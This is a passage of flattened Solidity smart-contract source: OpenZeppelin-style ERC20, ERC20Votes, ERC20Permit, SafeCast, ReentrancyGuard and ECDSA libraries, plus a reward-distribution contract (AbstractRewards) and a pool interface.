* @dev Snapshots the totalSupply after it has been increased.
*/
function _mint(address account, uint256 amount) internal virtual override {
super._mint(account, amount);
require(totalSupply() <= _maxSupply(), "ERC20Votes: total supply risks overflowing votes");
_writeCheckpoint(_totalSupplyCheckpoints, _add, amount);
}
/**
* @dev Snapshots the totalSupply after it has been decreased.
*/
function _burn(address account, uint256 amount) internal virtual override {
super._burn(account, amount);
_writeCheckpoint(_totalSupplyCheckpoints, _subtract, amount);
}
/**
* @dev Move voting power when tokens are transferred.
*
* Emits a {DelegateVotesChanged} event.
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._afterTokenTransfer(from, to, amount);
_moveVotingPower(delegates(from), delegates(to), amount);
}
/**
* @dev Change delegation for `delegator` to `delegatee`.
*
* Emits events {DelegateChanged} and {DelegateVotesChanged}.
*/
function _delegate(address delegator, address delegatee) internal virtual {
address currentDelegate = delegates(delegator);
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveVotingPower(currentDelegate, delegatee, delegatorBalance);
}
function _moveVotingPower(
address src,
address dst,
uint256 amount
) private {
if (src != dst && amount > 0) {
if (src != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], _subtract, amount);
emit DelegateVotesChanged(src, oldWeight, newWeight);
}
if (dst != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], _add, amount);
emit DelegateVotesChanged(dst, oldWeight, newWeight);
}
}
}
function _writeCheckpoint(
Checkpoint[] storage ckpts,
function(uint256, uint256) view returns (uint256) op,
uint256 delta
) private returns (uint256 oldWeight, uint256 newWeight) {
uint256 pos = ckpts.length;
oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes;
newWeight = op(oldWeight, delta);
if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) {
ckpts[pos - 1].votes = SafeCast.toUint224(newWeight);
} else {
ckpts.push(Checkpoint({fromBlock: SafeCast.toUint32(block.number), votes: SafeCast.toUint224(newWeight)}));
}
}
function _add(uint256 a, uint256 b) private pure returns (uint256) {
return a + b;
}
function _subtract(uint256 a, uint256 b) private pure returns (uint256) {
return a - b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface IBasePool {
function distributeRewards(uint256 _amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "../interfaces/IAbstractRewards.sol";
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
/**
* @dev Based on: https://github.com/indexed-finance/dividends/blob/master/contracts/base/AbstractDividends.sol
* Renamed dividends to rewards.
* @dev (OLD) Many functions in this contract were taken from this repository:
* https://github.com/atpar/funds-distribution-token/blob/master/contracts/FundsDistributionToken.sol
* which is an example implementation of ERC 2222, the draft for which can be found at
* https://github.com/atpar/funds-distribution-token/blob/master/EIP-DRAFT.md
*
* This contract has been substantially modified from the original and does not comply with ERC 2222.
* Many functions were renamed as "rewards" rather than "funds" and the core functionality was separated
* into this abstract contract which can be inherited by anything tracking ownership of reward shares.
*/
abstract contract AbstractRewards is IAbstractRewards {
using SafeCast for uint128;
using SafeCast for uint256;
using SafeCast for int256;
/* ======== Constants ======== */
uint128 public constant POINTS_MULTIPLIER = type(uint128).max;
event PointsCorrectionUpdated(address indexed account, int256 points);
/* ======== Internal Function References ======== */
function(address) view returns (uint256) private immutable getSharesOf;
function() view returns (uint256) private immutable getTotalShares;
/* ======== Storage ======== */
uint256 public pointsPerShare;
mapping(address => int256) public pointsCorrection;
mapping(address => uint256) public withdrawnRewards;
constructor(
function(address) view returns (uint256) getSharesOf_,
function() view returns (uint256) getTotalShares_
) {
getSharesOf = getSharesOf_;
getTotalShares = getTotalShares_;
}
/* ======== Public View Functions ======== */
/**
* @dev Returns the total amount of rewards a given address is able to withdraw.
* @param _account Address of a reward recipient
* @return A uint256 representing the rewards `account` can withdraw
*/
function withdrawableRewardsOf(address _account) public view override returns (uint256) {
return cumulativeRewardsOf(_account) - withdrawnRewards[_account];
}
/**
* @notice View the amount of rewards that an address has withdrawn.
* @param _account The address of a token holder.
* @return The amount of rewards that `account` has withdrawn.
*/
function withdrawnRewardsOf(address _account) public view override returns (uint256) {
return withdrawnRewards[_account];
}
/**
* @notice View the amount of rewards that an address has earned in total.
* @dev accumulativeFundsOf(account) = withdrawableRewardsOf(account) + withdrawnRewardsOf(account)
* = (pointsPerShare * balanceOf(account) + pointsCorrection[account]) / POINTS_MULTIPLIER
* @param _account The address of a token holder.
* @return The amount of rewards that `account` has earned in total.
*/
function cumulativeRewardsOf(address _account) public view override returns (uint256) {
return ((pointsPerShare * getSharesOf(_account)).toInt256() + pointsCorrection[_account]).toUint256() / POINTS_MULTIPLIER;
}
/* ======== Dividend Utility Functions ======== */
/**
* @notice Distributes rewards to token holders.
* @dev It reverts if the total shares is 0.
* It emits the `RewardsDistributed` event if the amount to distribute is greater than 0.
* About undistributed rewards:
* In each distribution, there is a small amount which does not get distributed,
* which is `(amount * POINTS_MULTIPLIER) % totalShares()`.
* With a well-chosen `POINTS_MULTIPLIER`, the amount of funds that are not getting
* distributed in a distribution can be less than 1 (base unit).
*/
function _distributeRewards(uint256 _amount) internal {
uint256 shares = getTotalShares();
require(shares > 0, "AbstractRewards._distributeRewards: total share supply is zero");
if (_amount > 0) {
pointsPerShare = pointsPerShare + (_amount * POINTS_MULTIPLIER / shares);
emit RewardsDistributed(msg.sender, _amount);
}
}
/**
* @notice Prepares collection of owed rewards
* @dev It emits a `RewardsWithdrawn` event if the amount of withdrawn rewards is
* greater than 0.
*/
function _prepareCollect(address _account) internal returns (uint256) {
require(_account != address(0), "AbstractRewards._prepareCollect: account cannot be zero address");
uint256 _withdrawableDividend = withdrawableRewardsOf(_account);
if (_withdrawableDividend > 0) {
withdrawnRewards[_account] = withdrawnRewards[_account] + _withdrawableDividend;
emit RewardsWithdrawn(_account, _withdrawableDividend);
}
return _withdrawableDividend;
}
function _correctPointsForTransfer(address _from, address _to, uint256 _shares) internal {
require(_from != address(0), "AbstractRewards._correctPointsForTransfer: address cannot be zero address");
require(_to != address(0), "AbstractRewards._correctPointsForTransfer: address cannot be zero address");
require(_shares != 0, "AbstractRewards._correctPointsForTransfer: shares cannot be zero");
int256 _magCorrection = (pointsPerShare * _shares).toInt256();
pointsCorrection[_from] = pointsCorrection[_from] + _magCorrection;
pointsCorrection[_to] = pointsCorrection[_to] - _magCorrection;
emit PointsCorrectionUpdated(_from, pointsCorrection[_from]);
emit PointsCorrectionUpdated(_to, pointsCorrection[_to]);
}
/**
* @dev Increases or decreases the points correction for `account` by
* `shares*pointsPerShare`.
*/
function _correctPoints(address _account, int256 _shares) internal {
require(_account != address(0), "AbstractRewards._correctPoints: account cannot be zero address");
require(_shares != 0, "AbstractRewards._correctPoints: shares cannot be zero");
pointsCorrection[_account] = pointsCorrection[_account] + (_shares * (pointsPerShare.toInt256()));
emit PointsCorrectionUpdated(_account, pointsCorrection[_account]);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./draft-IERC20Permit.sol";
import "../ERC20.sol";
import "../../../utils/cryptography/draft-EIP712.sol";
import "../../../utils/cryptography/ECDSA.sol";
import "../../../utils/Counters.sol";
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
constructor(string memory name) EIP712(name, "1") {}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
/**
* @dev "Consume a nonce": return the current value and increment.
*
* _Available since v4.1._
*/
function _useNonce(address owner) internal virtual returns (uint256 current) {
Counters.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
